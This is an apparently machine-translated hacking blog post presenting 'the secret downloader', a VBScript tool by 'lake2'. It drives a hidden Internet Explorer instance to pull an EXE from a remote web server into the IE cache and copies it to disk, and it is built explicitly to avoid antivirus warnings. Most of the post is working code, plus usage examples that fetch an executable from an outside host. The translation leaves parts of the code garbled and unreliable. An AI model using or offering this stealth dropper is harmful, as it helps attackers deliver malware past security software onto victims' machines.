When talking about how to use vbs to download files, Do you think of XMLHTTP? Code :
Ilocal = lcase (wscript. Arguments (1 ))
Iremote = lcase (wscript. Arguments (0 ))
Set xpost = Createobject ("Microsoft. XMLHTTP ")
Xpost. Open "get", iremote, 0
Xpost. Send ()
Set sget = Createobject ("ADODB. Stream ")
Sget. mode = 3
Sget. type = 1
Sget. open ()
Sget. Write xpost. responsebody
Sget. savetofile ilocal, 2
When you save this code as vbs, the ghost software can start to warn you and use cscript.exe to access the network, which is not concealed.
Is there any better way? The answer is obviously :-)
We can use an object called internetexplorer. application (in fact, it is an IE) to download the file. However, it seems that this component cannot directly download and save files, so it has to save the country. Because ie downloads the file to the local cache, we can let the IE component first download the file to the cache, and then find and copy it from the cache to the location we need to save. In fact, this idea is seen from a Web horse :)
To allow IE to download our EXE file to the local cache, we need a webpage to include the EXE file. For example, <SCRIPT src = "520.exe"> </SCRIPT>. In this example, the page will be saved as a JS script to the local cache. The saved name is generally 52018.1cmd.exe. The location of the IE temporary file can be read from the registry key value HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Internet Settings \ cache \ paths \ directory.
Okay, no nonsense. Check the Code:
'==================================
'Get. vbs
'By lake2
'==================================
If wscript. Arguments. Count <> 3 then
Wscript. Echo ""
Wscript. Echo "======= the secret downloader 0.1 ========================"
Wscript. Echo "by lake2"
Wscript. Echo "Usage: cscript/nologo" & wscript. scriptname & "[url] [remotename] [localfile]"
Wscript. Echo "Example: cscript/nologo" & wscript. scriptname & "http://www.0x54.org/lake.htm 520.exe c: \ 520.exe"
Wscript. echo "============================================== =============="
Wscript. Quit
End if
Url = wscript. Arguments (0)
Exename = wscript. Arguments (1)
If instr (exename, ".")> 0 then
TMP = left (exename, limit Rev (exename, ".")-1)
Tmp2 = right (exename, Len (exename)-limit Rev (exename, ".") + 1)
Findfilename = TMP & "[1]" & tmp2
End if
Localname = wscript. Arguments (2)
Set Ie = wscript. Createobject ("internetexplorer. application ")
Ie. Visible = 0
Ie. navigate URL
Wscript. Echo "[+] Create and exec IE to your HTTP server ..."
Wscript. Sleep (5000)
Ie. Quit
Wscript. Echo "[+] Get the file ..."
Set objshell = wscript. Createobject ("wscript. Shell ")
Strvalue = objshell. regread ("HKLM \ Software \ Microsoft \ Windows \ CurrentVersion \ Internet Settings \ cache \ paths \ directory ")
Showallfile (strvalue)
Wscript. Echo "[-] Download fail :("
Sub showallfile (PATH)
Set FSO = Createobject ("scripting. FileSystemObject ")
Set F = FSO. getfolder (PATH)
Set fc = f. subfolders
For each F1 in FC
If FSO. fileexists (Path & "\" & f1.name & "\" & findfilename) then
FSO. copyfile Path & "\" & f1.name & "\" & findfilename, localname
Wscript. Echo "[+] Download success! "
Wscript. Quit
End if
Showallfile Path & "\" & f1.name
Next
Set FSO = nothing
End sub
Usage:
1. Put an HTM file in your web directory, containing the file to be downloaded. Example: <SCRIPT src0000520.exe> </SCRIPT>
2. cscript get. vbs Step 1: webpage URL: The local save path of the file name contained in the webpage
Example: cscript get. vbs http://www.0x54.org/lake2/get.htm whoami.exe c: \ who.exe
PS: the script takes 5 seconds to download the file. You can change it to wait until the download is complete, but it is basically enough. You are too lazy to change it -_-